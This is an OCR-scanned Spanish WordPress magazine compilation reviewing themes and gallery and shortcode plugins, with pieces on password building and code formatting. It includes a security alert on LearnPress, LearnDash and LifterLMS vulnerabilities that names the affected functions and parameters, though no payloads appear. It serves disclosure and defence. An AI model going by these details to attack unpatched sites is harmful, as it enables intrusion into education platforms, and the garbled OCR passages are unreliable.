automoviles, garajes de automdviles,
empresas de venta de automdviles de
segunda mano, etcétera.

Es el esqueleto perfecto para montar
sitios web del sector automotriz, ya sea
un blog, cartera o cualquier otro sitio
web.

Es un Tema personalizable que puede
adaptarse perfectamente a tu
imaginacién con sus elementos
facilmente cambiables que esta ya
preparado para trabajar en muchos
idiomas como, ar_arabic, zh_Chinese,
fr_French, de_German, es_Spanish,
it_Italian, ja_Japanese, ru_Russian,
tr_Turkish.

Puedes descargar este Tema desde su
repositorio en:

https://es.wordpress.org/themes/advanc
e-automobile/
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Services

Este Tema ha sido concebido con las empresas de servicios
en mente, de ahi su nombre. Es un Tema gratuito pero no por
ello menos profesional.

Las caracteristicas de esta version gratuita incluyen: disefio
totalmente responsivo y moderno, soporte de WooCommerce
y bbPress integrado, compatible con SEO, increiblemente
rapido y liviano.

Cuenta con 2 areas de menu personalizadas, 3 areas de

widgets personalizadas, 2 plantillas de pagina personalizadas.

En su version de pago, incluye: un generador de paginas de
arrastrar y soltar, control deslizante, feed de Twitter, botones
para compartir en redes sociales (para Facebook, Twitter y
Google+), y mucho més.

Puedes descargar este Tema desde el repositorio de
WordPress (https://es.wordpress.org/themes/service/).

ServiCes ror senicesws

IEEEES

Testing

JUST ANOTHERWORDPRESS SITE

" selgwordgrass ag

Sample Page

Conclusion

Automobile Car Dealer

He dejado este Tema para el final de la lista, no porque sea
peor que los demas, sino porque esta orientado a la venta de
coches, desarrollado por profesionales del sector.

El Tema de «concesionario de automdviles» es un tema
responsivo creado por un equipo de profesionales con codigos
optimizados y disefios interactivos para que sea seguro y
sorprendente al mismo tiempo.

Es un Tema de WordPress robusto y amigable para SEO,
creado por Buywptemplates es perfecto para los
concesionarios de automoviles y motocicletas, nuevos o
usados.

Su Mega Menu permite mostrar la cartera de productos de la
mejor manera posible, al ser limpio, facil de usar y responsivo.
Es profesional tanto en apariencia como en funcionalidades.
Esté preparado para trabajar con multiples idiomas, entre lo
que cabe citar: ARABE, ALEMAN, ESPANOL, FRANCES,
ITALIANO, RUSO, CHINO y TURCO.

Puedes descargar este Tema desde el repositorio de

WordPress
(https://es.wordpress.org/themes/automobile-car-dealer/) .

Automobile Car Dealer rosupwptempiotes

LOREM IPSUM IS SIMPLY DUMMY TEXT OF THE PRINTING

Como ya he repetido en varias ocasiones, el que un elemento sea gratuito, no significa necesariamente que sea de menor

calidad.

Recuerda que puedes cambiar de Tema aunque tu sitio esté en marcha, si quieres puedes buscar otros temas, recuerda que en el
repositorio de WordPress hay muchos: (https://es.wordpress.org/themes/).

SoloWordpress

SOLOWORDPRESS
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Los mejores Plugin para Galerias de WordPress

Las Galerias pueden estar formadas por imagenes, por videos, u otros medios, aunque el Tema que estemos usando no tenga en
cuenta esta facilidad, existen Plugins que nos permiten crear y mostrar estas colecciones.

Hablo por supuesto, de Plugin gratuitos, para que no tengas que realizar grandes inversiones en la creacidon o mejora de tu sitio
con WordPress.

Photo Gallery by Supsystic Esta preparado para trabajar con Gutenberg.
; *  Funciona con «arrastrar y soltar».
A~ \ * 100% responsivo.
; *  Admite videos (Youtube, Vimeo, Wistia, etc.), no solo
fotos.
* Botones para Compartir en redes sociales Integrados.
*  Paginacion de la galeria.
*  Preparado para trabajar con WooCommerce.

< ’ ‘QQ?‘ ]

* Importacion de galerias (Adobe Lightroom, Dropbox, ...)
= Phato Gallery by Supsystic e Puedes descargar este Plugin desde el repositorio de
2 :J ar supsysilc.com WordPress
= ' (https://es.wordpress.org/plugins/envira-gallery-lite/).
Se trata de una casa de desarrollo con una muy buena All-in-One Video Gallery

reputacion por su calidad y detalle, la casa supsystic.

Este Plugin crea galerias de fotografias y maneja archivos de Build YouTube, Vimeo like Video Gallery
cualquier formato, in Minutes

Ofrece muchas opciones que te permiten crear la galeria a tu SRS, WRtel, Oty Y TRI0R, Wi oS Wiy DItars
gusto, independientemente del Tema que uses, entre ellas soloword press.es

cabe citar: ——

* Estilos de galeria totalmente personalizables: sombra ,
borde , titulo e iconos.

All-in-One Video Gallery

*  Amigable con SEO.
* Imagenes totalmente responsivas. PAFTEEE ENASED
* Botones para Compartir en redes sociales Integrados.
*  Opcion de marca de agua.
* Opciones de CDN, compresion y optimizacion de Aqui nos vamos al extremo opuesto, ya vimos un Plugin para
imagenes. manejar fotos, uno que maneja también video y ahora uno que
* Agregar imagenes a la galeria desde FTP y redes exclusivo para video.
sociales.

El inconveniente de este Plugin, es que aln no ha sido
Puedes descargar este Plugin desde el repositorio de traducido al espafiol; esta disponible en Inglés y Rumano.
WordPress
(https://es.wordpress.org/plugins/gallery-by-supsystic/). Las caracteristicas a resaltar, son:

* Disefio moderno y responsivo.
Gallery Plugin for WordPress - Envira Photo Gallery *  Numero ilimitado de categorias y de videos.

*  Seleccion del tamafio de la parrilla (filas y columnas) en

B et cada pagina.
- *  Funciona con HTML5 aunque tiene posibilidad de usar
BENVIRAGALLERY .- Flash.
e ot g *  Funciona con videos internos en formato MP4, WebM y
_ W = == OGV o con marcos embebidos de YouTube, Vimeo,
solowars prass.es .‘ “__ Dailymotion o Facebook.
S wazy - ° Admite subtitulos y comentarios.
P * Documentacioén explicita y detallada (en Inglés).

W CalenyHlugiior Wordtiress —tovirg Phiota Gallary: . Puedes descargar este Plugin desde el repositorio de

Par Envira Gallery Tearn
NI ar Envira Gallery Tearr

chlid ' WordPress
(https://es.wordpress.org/plugins/all-in-one-video-gallery/).
Este plugin destaca por varios motivos, quiza uno de ellos, es
la facilidad de manejo que le otorga su funcionamiento de
«arrastrar y soltar».

«Photo Gallery» es la version gratuita de un Plugin muy
potente (y no digo que esta version no lo sea) que cuenta con
todas las posibilidades que se te ocurran para el manejo de
fotos.

En este caso, hay que citar las siguientes caracteristicas:

31 SOLOWORDPRRES



PLUGINS

SimpLy Gallery Blocks — Gutenberg Gallery with Lightbox

[, =< v R I | . L
.*f X = - ~n

Dacarger

SimpLy Gallery Blocks - Gutenberg Gallery with

Lightbox

ar GalleryCreator

«SimpLy Gallery Blocks» es un conjunto de bloques
Gutenberg de galeria para fotografos, artistas, escritores y
especialistas en marketing de contenidos.

Este plugin hace uso de Lightbox para su funcionamiento.

Puede convertir facilmente la galeria de bloques de Masonry a
Justified o Grid o a la galeria de imagenes de WordPress y
viceversa.

Entre sus principales caracteristicas contamos con:

*  Compatibilidad con el historial del navegador HTMLS5:
enlaces profundos deshabilitados de forma
predeterminada.

*  Soporte automatico de SlideShow (con temporizador de
cuenta atras).

* Soporte de gestos multitactiles.

* Animaciones Basadas en Fisica.

*  Control de funciones del navegador (barra de
desplazamiento, rueda del mouse, prevencion de clic
derecho).

*  Compartir en redes sociales (Facebook, Twitter,
Pinterest).

* Cambio de tamafio inteligente.

Puedes descargar este Plugin desde el repositorio de
WordPress
(https://es.wordpress.org/plugins/simply-gallery-block/).

Meow Gallery (+ Gutenberg Gallery Block)

AN

H'ﬂi& Meow Gallery (+ Gutenberg Gallery Block)

or jordy Meaw, Thamas Kim

Una galeria atractiva y cuidada creada para amantes de las
imagenes. Disefiada para trabajar con WordPress 5 (bloques
de Gutenberg) y también con los shortcodes estandar de la
galeria.

Ademas de ser responsible, esta disefiado para trabajar con la
alta calidad de las imagenes Retina.

Utiliza WordPress y Gutenberg de forma natural, lo que
significa que puedes usar Meow Gallery y cualquier dia
puedes volver a la forma nativa de mostrar las foto de
WordPress.

Citando sus caracteristicas, podemos listar:

*  Varios disefios instalados como, Tiras, Muro, Justificado
(como Flikr) y cuadrado (como Instagram)

* Solo usa CSS por lo que no tendras scripts que ralenticen
tus paginas y el renderizado.

* Amigable con el SEO, por lo que las imagenes formaran
parte del Sitemap.

Puedes descargar este Plugin desde el repositorio de
WordPress (https://es.wordpress.org/plugins/meow-gallery/).

Photo Gallery by GT3 - Video Gallery & Gutenberg Block
Gallery

]|

Gallery Plugin

=

©

A pesar de su nombre, «GT3 Photo Gallery» es un editor
totalmente compatible con los bloques de Gutenberg, que
maneja fotos y videos.

solo

Descargar

Photo Gallery by GT3 - Video Gallery & Gutenberg
Block Gallery

G13 Photo Gallary

Es un Plugin que «extiende las funcionalidades de la galeria
de medios de WordPress. Puedes personalizar cada punto de
la galeria de medios, usando los ajustes de GT3, junto a los
ajustes de cada galeria individual.

Destacamos en este caso:

Widgets compatibles con Elementor.

Las galerias creadas permanecen, si desactivas el plugin, la
galeria seguira estando dentro de la coleccién de medios.
Las galerias de fotos y de videos son totalmente responsivas.
Puedes escoger el disefio de la galeria de hasta 9 columnas.
Permite crear «thumbnails» de los elementos de la galeria.
Ajustes individuales para cada video de la galeria.

Puedes descargar este Plugin desde el repositorio de
WordPress
(https://es.wordpress.org/plugins/gt3-photo-video-gallery/).

Conclusion

Si tu tema no permite hacer la preciosa galeria de fotos y
video que quieres ensefiar, tienes la alternativa, instala un
Plugin que haga la tarea.

Recuerda que puedes cambiar los Plugin en cualquier
momento, pero recuerda también que antes de hacer cambios
de importancia, conviene hacer copia de seguridad.

Si tienes interés es otros Plugin, en el repositorio de
WordPress hay muchos: (https://es.wordpress.org/plugins/).

SOLOWORDPRESS
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Los mejores Plugin de Shortcodes para WordPress

SW

&bl |

solowordpress.es

Los Shortcodes, son expresiones cortas que el WordPress
reconoce y «traduce», lo que nos permite escribir una o unas
pocas palabras o cédigos, que haran que el lector de la
pagina vea como algo mucho méas complejo.

Por ejemplo, puedes tener un Shortcode con la palabra
«Anuncio» que al escribir la pagina o entrada, escribiras como
[Anuncio] (incluyendo los corchetes o paréntesis cuadrados) y
que sera traducido por el texto de anuncio compuesto por uno
0 mas parrafos.

Pero no tienes que limitarte a texto, quiza el anuncio es un
video, o unos parrafos con un tipo especial de fuente, o una
serie de botones, o ...

Hablo por supuesto, de Plugin gratuitos, para que no tengas
que realizar grandes inversiones en la creacién o mejora de tu
sitio con WordPress.

WordPress Shortcodes Plugin — Shortcodes Ultimate

solowordorass.as

WordPress Shortcodes Plugin — Shortcodes Ultimate
e Yar Visdimir Anokbin

«Shortcodes Ultimate» es uno de los mas completos de su
categoria y uno de los mas usados y recomendados.
Shortcodes Ultimate es una coleccion completa de varios
elementos visuales y funcionales, que puedes usar en el
editor de publicaciones, widgets de texto o incluso en archivos
de plantilla.

Con este plugin puedes crear facilmente pestafias, botones,
cuadros, controles deslizantes y carruseles, videos receptivos
y mucho mas.

Entre las opciones que ofrece, cabe citar:

* Mas de 50 variaciones de shorcodes preestablecidos.

* Insercion de shortcode de 1 clic con vista previa en vivo.
*  Funciona con cualquier tema.

* Preparado para Gutenberg.

* Diseflo moderno y adaptable.

*  Compatible con RTL.

Puedes descargar este Plugin desde el repositorio de
WordPress
(https://es.wordpress.org/plugins/shortcodes-ultimate/).

Shortcoder - Create your own shortcodes

'SOIGWOTUTESSIES

oy T— s —a

Shortcoder - Create your own shortcodes

L J Por Aakash Chakravarthy
f |

Este plugin me agrada por ser ligero, aunque su
funcionamiento es basico pero potente.

«Shortcoder» esta disponible en 7 idiomas, entre ellos el
espafiol de Espafa. Cuenta con una pagina de configuraciéon
de estilo WordPress, que te permite afiadir, editar y eliminar
shortcodes.

Resulta de muy facil uso.

Entre las opciones con las que cuenta este plugin, citaré:

* Usa cualquier tipo de HTML como contenido de
Shortcode.

* Puedes Insertar: pardmetros personalizados en
shortcode.

* Puedes Insertar: parametros de WordPress en shortcode.

*  Mdltiples editores: Cédigo, Visual y modos de texto.

* Permite desactivar globalmente el shortcode cuando no
sea necesario.

Puedes descargar este Plugin desde el repositorio de

WordPress (https://es.wordpress.org/plugins/shortcoder/).

Shortcode in Menus

Mo, yeu can't go inte the Navigation Menu! I JUST AFTER RELEASE...
Menus are only for Links, not Shertecodes.

NOT ANYMORE!
’ When | turn Into HTML,
':;'_JI_U‘_?\ o ff_Jpr-’:"-JS,Z'j I'm gonna be a Menu ltem!

Shortcode in Menus

” ” Por Gagan Ceep Singh

Esto es la especializacién de la especializacion. Su finalidad
es habilitar la posibilidad de usar Shortcodes dentro de los
menus de navegacion.

El inconveniente de este Plugin, es que aun no ha sido
traducido al espafiol; esta disponible solo en Inglés.

Las caracteristicas a resaltar, son:
* Hace aquello para lo que fue disefiado y lo hace bien.

Puedes descargar este Plugin desde el repositorio de
WordPress
(https://es.wordpress.org/plugins/shortcode-in-menus/).
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Display Posts — Easy lists, grids, navigation, and more

E— L
= =
Display Posts
[ [
solowordorass.as
I [==——=u
- et

Destagar

Display Posts - Easy lists, grids, navigation, and more
Por Bill Erlckson

El objetivo de este plugin es insertar facilmente listas del
contenido de tu WordPress, en cualquier sitio de texto.

Si quieres insertar en la entrada que estas escribiendo, la lista
de las entradas de igual (o una distinta) categoria que la tuya,
no necesitas escribir la lista manualmente.

Puedes insertar la lista y detallar los parametros que necesites
para que la lista resulte ordenada por diferentes conceptos;
por defecto apareceran por orden de apariciéon (los mas
nuevos primero) pero puede ser ordenada por titulo,orden en
el mend, relevancia, tipo de contenido, metadatos, etcétera.

«Display Posts» esta disponible Gnicamente en inglés.
Puedes descargar este Plugin desde el repositorio de

WordPress
(https://es.wordpress.org/plugins/display-posts-shortcode/).

Mostrar/Ocultar contenido a la hora establecida

-

‘o Dave Clemants

-
Lo

"/') Mostrar/Ocultar contenido a la hora establecida
1

Siguiendo con la especializacion, este plugin esta pensado
para una Unica funcién, «Mostrar u Ocultar contenido a la hora
establecida».

Aungue esta solo disponible en inglés, su funcionamiento es
muy sencillo y radpidamente entendible, se trata de establecer
la fecha y hora en que se quiere que un contenido aparezcay
la fecha y hora en que se quiere que desaparezca.

Por ejemplo, si quieres poner un contenido de aviso que so6lo
aparezca durante unas horas determinadas, puede poner en
tu entrada:

Puedes descargar este Plugin desde el repositorio de
WordPress

https://es.wordpress.org/plugins/shortcodes-to-show-or-hide-c
ontent/

Trans!atePress Translate Multllrnuual sites
or Cormoslabs, Razvan M Madalin Ungureanu, Cristopher Hurduban

TranslatePress - Translate Multilingual sites

X TRANSLATE s

SOLOWOraaress.as

Absolutamente especializado, «Translatepress» es un plugin
gue te permite presentar cualquier bloque de tu bitacora, con
un traductor directo.

Puedes usar este plugin para traducir paginas o entradas
completas o sélo una parte o quiza uno o un grupo de
articulos de to tienda con WooCommerce.

Permite usar tus propias traducciones de bloques especificos
y también usar tu API de Google y enlazar con el traductor
externo.

Lo interesante de este plugin, es que funciona con
Shortcodes, si quieres traducir una parte de tus pagina,
simplemente encierras esa parte entre los shortcodes de
apertura y de cierre, proporcionando asi un traductor para esa
seccion en concreto.

Puedes descargar este Plugin desde el repositorio de
WordPress
(https://es.wordpress.org/plugins/translatepress-multilingual/).

Conclusion

Esta es una coleccién de algunos de los plugin que, aunque
estan en la categoria de Shortcodes por su funcionamiento,
realizan tareas poco esperadas, de manera eficiente.

Recuerda que puedes cambiar los Plugin en cualquier
momento, pero recuerda también que antes de hacer cambios
de importancia, conviene hacer copia de seguridad.

Si tienes interés en otros Plugin, en el repositorio de
WordPress hay muchos: (https://es.wordpress.org/plugins/).

SOLOWORDPRESS
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Alerta de Seguridad [20200429] para WordPress

Los sistemas de gestion de aprendizaje son plataformas de
aprendizaje electronico utilizadas para impartir cursos
educativos y programas de formacion de forma remota. No
solo los estudiantes universitarios usan «LMS»; Es para
cualquier persona interesada en el aprendizaje en linea.

Tres de los plugin de «eLearning » mas usados, han sido
encontrados con fallos en su programacion, que puede afectar
en grados diferentes a la seguridad tanto de los usuarios,
como de los servidores que usen estos plugin.

Incluso si se tiene instalado alguno de Los mejores Plugin de
Seguridad para WordPress, hay fallos que no son controlables
de esta forma, al menos no siempre.

Es por eso que insisto siempre en que hay que crear plugins
con seguridad.

Los tres plugin de WordPress pueden convertir cualquier sitio
web en un «LMS» totalmente funcional y facil de usar. Los 3
sistemas se instalan en méas de 100.000 plataformas
educativas diferentes e incluyen universidades como la
Universidad de Florida, la Universidad de Michigan, la
Universidad de Washington y cientos de academias en linea.
El impacto se multiplica ya que afecta a todos los estudiantes
en todos estos establecimientos.

Segun la empresa de seguridad que ha descubierto los
agujeros, «Los LMSque investigamos invirtieron bastante
esfuerzo en su seguridad y algunos incluso implementaron un
programa de recompensa por errores. Y de hecho, los errores
gue encontramos no eran triviales y requerian de inmersiones
interesantes. Por lo tanto, ademés de notificar a los
desarrolladores, también decidimos compartir algunos de ellos
con la comunidad de seguridad».

«Nuestro enfoque fue ver si un estudiante motivado puede
lograr el suefio de la infancia de cada pirata informéatico: tomar
el control de su institucion educativa, obtener respuestas a los
examenes e incluso cambiar las calificaciones de los
estudiantes».

LearnPress

El primero de los Plugin con fallos, es quiza el complemento
LMS mas popular de WordPress, ya que permite a los
administradores de sitios web crear y vender cursos en linea
facilmente.

Segun «BuiltWith», es incluso més popular que «Moodle»
(que es la plataforma de aprendizaje de cddigo abierto
dominante en todo el mundo), con unas 80.000 instalaciones.
Las versiones de LearnPress afectadas son las <= 3.2.6.7
Se han encontrado dos vulnerabilidades en este Plugin, la
denominada CVE-2020-6010: inyeccién SQL
consistente en una «inyeccion SQL ciega basada en el
tiempo» que es muy trivial para identificar y explotar.

«Fue una sorpresa encontrarlo, ya que habriamos esperado
gue las declaraciones preparadas ahora fueran parte de la
norma».

Un usuario autenticado puede desencadenar esta
vulnerabilidad llamando al método Ajax
learnpress_modal_search_items
siguiente cadena:

gue ejecuta la

La otra
vulnerabilidad
encontrada, se
cataloga como:
CVE-2020-
11511:
Convertirse
en maestro

S @ jAler 3

Esta
vulnerabilidad

esunbuen ) i
ejemplo de cédigo heredado olvidado detras que resulta en

una escalada de privilegios en el disefio actual del sistema.

La funcién learn_press_accept_become_a_teacherse
puede utilizar para actualizar un usuario registrado a un rol de
profesor, lo que resulta en una escalada de privilegios.

Esta funcion se invoca una vez que los plugins activados se
han cargado, lo que significa que puede ser invocada
simplemente suministrando los parametros action y
user_id en /wp-admin/ , sin tener que conectarse.

LearnDash
Las versiones vulnerables son <3.1.6

Segun «BuiltWith», mas de 33.000 sitios web actualmente
ejecutan «LearnDashx», por su parte, «LearnDashx» declard
haber sido integrado en compariias de Fortune 500, asi como
en universidades lideres como la Universidad de Florida, la
Universidad de Michigan y la Universidad de Washington.

La vulnerabilidad encontrada en este plugin, tiene la
descripcion: CVE-2020-6009: Inyeccién SQL  de segundo
orden no autenticada

Esta vulnerabilidad es facil de detectar pero mucho mas dificil
de explotar, ya que no es un caso simple de incorporar la
entrada del usuario no confiable directamente en una consulta
SQL.

Pero esto también, como cualquier otra inyeccion de SQL,
podria haberse evitado facilmente mediante el uso de
declaraciones preparadas.
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La funcion learndash_get_course_groupsen  enel
archivo |d-groups.php es vulnerable a la inyeccién SQL de
segundo orden.

Esta funcidn no logra desinfectar suficientemente los datos
proporcionados por el usuario (aunque se consultan desde la
base de datos, por lo que se podria suponer que son seguros)
antes de usarlos en una consulta SQL.

Echemos un vistazo a la funcion vulnerable
learndash_get _course_groups

Convenientemente, en el archivo ipn.php , que es
responsable de manejar las transacciones de pago con
«PayPal», encontramos:

El cédigo de ipn.php nos permite crear un registro en la
tabla wp_postmeta (a través de la funcion
update post _meta ) con una meta_clave yun
meta_valor , que pueden ser posteriormente explotados con
una invocacion de inyeccion SQL invocando
learndash_get_course_groups

LifterLMS
En este caso, las versiones vulnerables son las anteriores a
3.37.15

«LifterLMS» es un Plugin de WordPress LMS lider. Segun
«BuiltWith», aproximadamente 17.000 sitios web usan este
complemento, incluidas las agencias y educadores de
WordPress, junto con varios establecimientos escolares y
educativos.

En este caso, la vulnerabilidad se ha registrado como: CVE-
2020-6008: escritura de archivos arbitrarios

Resulta un ejemplo interesante de vulnerabilidad de
Arbitrary File Write , que explota la naturaleza
dinamica de las aplicaciones PHP, lo que requiere que
lleguemos a un sumidero interesante de una manera
inesperada.

Dado que WordPress permite que los Plugin se registren
como nuevos actions en su controlador admin-ajax ,
LifterLMS registr6 su propia funcién handle() :

La funcion primero crea una nueva clase basada en la
variable handler que se le envia, y luego llama a su funcién
generate_export_file con la variable filename enviada
también en la solicitud.

La generate_export_file es una funcién heredada que
deberia crear un archivo CSV basado en la informacion
obtenida en la clase LLMS Table correspondiente que
creamos usando la variable handler.

Sin embargo, el cddigo no puede verificar que la extension en
la variable filename sea de hecho un CSV.

Esto sucede porque cuando no se envia $type, el valor
predeterminado es CSV.

En este punto, un atacante puede interceptar una solicitud
estandar de Ajax y usar la variable ajax_nonce creada

organicamente, para llevar generate_export file a crear

un archivo en una ubicacién arbitraria.

Conclusién

Estas vulnerabilidades permiten a los estudiantes y, a veces,
incluso a usuarios no autenticados, obtener informacién
confidencial, editar registros personales e incluso tomar el
control de las plataformas LMS

Debido al reciente aumento en la popularidad de las
plataformas de eLearning , estos problemas son urgentes.

Desde entonces, los desarrolladores han lanzado
correcciones a las plataformas.

Instamos a los usuarios a actualizar a las ultimas versiones de
estas plataformas:

Si tienes interés en otros Plugin, en el repositorio de
WordPress hay muchos: (https://es.wordpress.org/plugins/)

SOLOWORDPRESS
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Construir Contrasenas Seguras para WordPress

Las contrasefias en WordPress se usan en muchas
situaciones, pero quiza la mas usada sea el acceso al panel
de control, el escritorio.

Independientemente de cudl sea tu rol como usuario de
WordPress (Administrador, editor, etcétera) te interesa
mantener el mayor celo posible en el uso de tu identificacion.

Si eres administrador, porque en ello te va la integridad de tu
bitcora, si eres s6lo un usuario, porque tu identidad y
reputacion dependen de que seas tu y solo tu quien escriba
en tu nombre.

Caracteristicas de una contrasefa segura.

Para que una contrasefia sea segura, debe cumplir unas

cuantas condiciones simples:

* No ser facilmente adivinable. De nada vale una
contrasefia si un atacante puede adivinarla. Por ejemplo:

*  Tu nombre escrito al revés.

*  Tu nombre escrito en otro idioma.

* Lasecuencia «12345678» y sus variantes.
* La secuencia «qwertyuiop» y sus variantes.
* Lasecuencia «abcedef» y sus variantes.

* Una fecha sefialada

* Es muy posible que tu fecha de nacimiento, tu fecha de
boda o el nacimiento de tu primer hijo sean faciles de
recordar, pero sea cual sea el formato que uses, el
ndmero de posibles combinaciones es muy corto.

* Tener una longitud adecuada. Mientras mas caracteres
tenga, menos posibilidades hay de que se descubra por
«fuerza brutax.

* Ser Unica. Es inutil tener una contrasefia para tu entrada a
WordPress, cuando es la misma que usaste en el correo
electrénico que los malos han intervenido hace meses.

* Tener una combinacion de carjgd e ;
no todo letras, sino una mezcls
simbolos.

* Las contrasefias robustas deb
nameros y simbolos especiale
minUsculas.

Administracién de contrasefas

Una vez que hemos conseguido ur

acceso a WordPress, hay que cum

basicas de administracion, para es
segura.

* Nunca utilizar una contrasefia
nuestros entornos digitales

* Unavez creada una contrasef
entorno, si tienes sospechas d
podido ser «comprometida», d

* Serecomienda ir cambiando I
tiempo.

* Sihas creado una contrasefa
recordarla, no caigas en el ma
nota.

* Las contrasefias son mas seqg|
recordar y dificiles de adivinar,
€s mejor usar un «gestor de cc

* Sihaces uso del método de pr
de haber olvidado la contrasef
sabes la respuesta.

* Por Ultimo y aunque parezca e
contrasefia a nadie!

Creacion de la contrasefia recor:
Una vez que sabemos las condicic
contrasefa para ser segura y sabe
manejarla, procedemos a crearla.

Como es muy posible que no puedas recordar facilmente una
secuencia aleatoria de caracteres cuando hablamos de mas
de 8 caracteres, vamos a usar un truco (aunque yo te
presentaré mas de uno, para que escojas).

Truco 1

Si lo tuyo son los recuerdos y las fechas, escoge algo que
tenga sentido para ti, por ejemplo la fecha de tu boda y haz
unos pequefios cambios; por ejemplo,
«miBodaFueEI29DeFebreroDe2020!»

Este ejemplo cumple con varios de los preceptos: longitud,
mezcla de caracteres y mezcla de mayusculas y minisculas.

Pero no cumple con otros, no es aleatoria, cualquiera que te
conozca, conoce ese dato y, por tanto, es facilmente
adivinable.

Truco 2

Escoge una cita, un pasaje de un libro que recuerdes bien, la
tercera estrofa de la letra de una cancién; cualquier cosa que
recuerdes facilmente y te sea comodo y conste de al menos
ocho (8) palabras.

De esas palabras, coge todas las primeras letras; por ejemplo,
si recuerdas el poema del pirata:

Con cien caifiones por banda, viento en popa a toda vela,
la contrasefia generada sera: «<CCCPBVEPATV»

o las ultimas, con lo que la contrasefa generada sera:
«NNSRAONAAAA»

Truco 3

Truco 3

Sustituye car 2 que te resulte facil recordar, sustituye caracteres para

fue no sea ncia alfabética.

Asi, podemes cambiar [a letra «E» por el ndmero «3» |a letra «S» por el simbalo «$», la

acemos las sustituciones de Ejempio, 13 contrasena g-."l"('.‘IfJ"Jn'.I en |'J!Il"I]:'.‘I lL:E:.':I.

no: «CCCPB*3PAT ™»

De esta forma, podemos crear una tabla de sustitucién de caracteres, Por ejemnple:

A 4
2 a

E 3

(4} 0

S &

T +

v
Anadiendo o cambiando cualquier combinacion que te sea facil recordar.

Truco total

Aplica al menos los trucos 1y 3,0 2y 3, y podras recordar facilmente las contrasefas

ra weradas por ti mis

no necesitaras de un generador de contrasefias

e recomiendo adicionalmente, s pre que sea posible afade un segundo factor, para

mantenearte seguro,

raftaderun segundo factor, para mantenerte seguro.
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Glosario

Fuerza bruta

Es el método por el que se intenta adivinar una contrasefia, por medio de intentos repetidos. Por ejemplo, probando
consecutivamente una cadena de caracteres tal que: «a», «ab», «abc», «abcd», etcétera; o probando una palabra en distintos
idiomas, como: «contrasefia», «password», «passwort», etcétera.

Comprometida
Se dice de la contrasefia que ha podido ser conocida (en parte o en su totalidad) por otra persona.

Secuencia alfabética
Secuencia de caracteres alfabéticos, es decir, compuesta solo por letras.

Secuencia humérica
Secuencia de caracteres numéricos, es decir, compuesta solo por numeros.

Secuencia alfanumérica extendida
Secuencia de caracteres alfanuméricos, es decir, compuesta por letras, niUmeros y simbolos. Estos simbolos deben ser
caracteres ASCII, es decir, caracteres de un solo byte que generalmente pueden ser producidos con una o dos teclas.

ASCII
Es el acronimo formado por American Standard Code for Information Interchange — Cédigo Americano Estandar para Intercambio
de Informacion

Segundo Factor

Dispositivo independiente, generalmente un teléfono inteligente, con una aplicacién que genera un cédigo Unico para verificar que
el acceso esta autorizado por el propietario de la cuenta.

Si no te convencen estos trucos, lo tuyo es generar contrasefias absolutamente aleatorias. Te recomiendo que leas el articulo de
nuestra pagina madre sololinux.

Aqui encontrards una forma facil y rapida para Generar contrasefias en Linux.
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Como escribir cédigo en WordPress

El editor «visual» considera el codigo como texto plano
ordinario y, convierte (codifica) los caracteres <y > como las
entidades html correspondientes, por lo que el codigo no es
interpretado ni por el servidor ni por el navegador.

Los paréntesis curvos y cuadrados también son interpretados
por defecto y ademas, el WordPress interpreta (por medio de
los filtros), varios otros caracteres de forma que se adapte el
texto dependiendo de las caracteristicas del idioma local.

El editor <HTML» por su parte, no hace ninguna de estas
interpretaciones ni conversiones, por lo que los trozos de
cédigo html y CSS pueden ser interpretados por el navegador
del cliente y puede producirse una mezcla de codigo y una
presentacién completamente desordenada de las paginas.

Ten en cuenta que este comportamiento puede variar con
respecto a la versién de WordPress, el editor usado o los
plugin que tengas instalados.

Pero también ten en cuenta que la aparicion del editor de
bloques «Gutenberg» en la versién 5.0, de alguna forma
agravo el problema al desaparecer la edicion «visual» o
«html» que se consideran partes del «editor clasico».

Cédigo entre parrafos

En lenguaje html, la etiqueta <code>es indicativo de que a
continuacion y hasta que se encuentre el final marcado con la
etiqueta </code>, los caracteres no deben interpretarse.

Anteriormente se usaba también la etiqueta <tt> que
indicaba texto de teletipo, que hoy esta obsoleta en HTML5

En WordPress se ha mantenido la misma convencién que en
html y, | presencia de esa etiqueta hace que el texto
aparezca con fuente monospace

Por ejemplo, en un parrafo puedes escribir:

Esto esta muy bien para elementos de texto no-html que
quieres que aparezcan como codigo, pero ¢qué pasa si
quieres escribir etiquetas html que quieres realmente mostrar?

Usar la etiqgueta <code>no indica a WordPress que
encapsule el marcado HTML o lo elimine de la entrada.
WordPress piensa que estas usando esa etiqueta para dar
formato y la deja intacta luego, el navegador ve la etiqueta
<code>seguida de <div>y responde creando un nuevo
elemento del DOMen tu pagina web.

Para evitar estos conflictos, usa lo méas posible entidades o
caracteres extendidos para representar los corchetes y
angulos, de forma que no sean reconocidos como principio o
final de una etiqueta HTML. Por ejemplo:

Recuerda eliminar el espacio entre el & y el nombre de la
entidad.

Para ver una lista de los caracteres y sus entidades
equivalentes, mira la pagina del consorcio en : html entities.

URLSs entre parrafos
Por defecto, WordPress querra cambiar cualquier frase que
empiece con http en un enlace.

Si estéas escribiendo un ejemplo de como crear un enlace
dentro de una entrada, en lugar de escribir
http://example.com/index.php?p=453  que sera
convertido a un enlace, utiliza entidades para las barras, de
forma que quede algo parecido a:

Recuerda eliminar el espacio entre el & y amp;.

Usando la etiqueta <pre>

Si quieres resaltar tu codigo en un recuadro para separarlo del
resto del texto, o un trozo de cédigo que quieres copiar desde
un archivo fuente, en tu bitacora, puedes hacer uso de la
etiqueta <pre=>

La etiqueta <pre>en WordPress tiene el mismo significado y
efectos que la etiqueta <pre>en HTML

«<pre>» instruye al navegador para que use la letra de fuente
«monospaced», y que presente la informacion exactamente
como le llega.

Cada salto de linea, cada espacio, cada codigo, es
representado exactamente como esta escrito.

Normalmente la diferencia con la etiqueta «<codeses que

esa se usa para codigo en una solo linea, mientras que
«<pre>» se usa para varias lineas.

Ten en cuenta que cuando digo que es exactamente, quiero
decir «exactamente», asi que si los renglones con espacio
son demasiado largos, no se representard, la caja debera
tener un desplazamiento horizontal para poder leer el texto,
porgue si no cabe, no cabe.

No resulta muy bonito ¢ cierto? Pues la solucion es truncar las
lineas con el editor; jah! que eso hace que el cédigo no
funcione cuando lo copias ... tu decides, es un compromiso.

Para poder hacer que se ejerza control sobre la longitud de
las lineas representadas, asi como la fuente, el tamafio y
demés aspectos, deberéas instalar un plugin.

Si estéas familiarizado con el lenguaje de programacion que
manejas, quiza puedas determinar cuando o como hacer
saltos de linea.

En un préximo articulo revisaré los mejores plugin para
presentar cédigo.

Depurando el cédigo

Escribir c4digo en una bitacora de WordPress puede llegar a
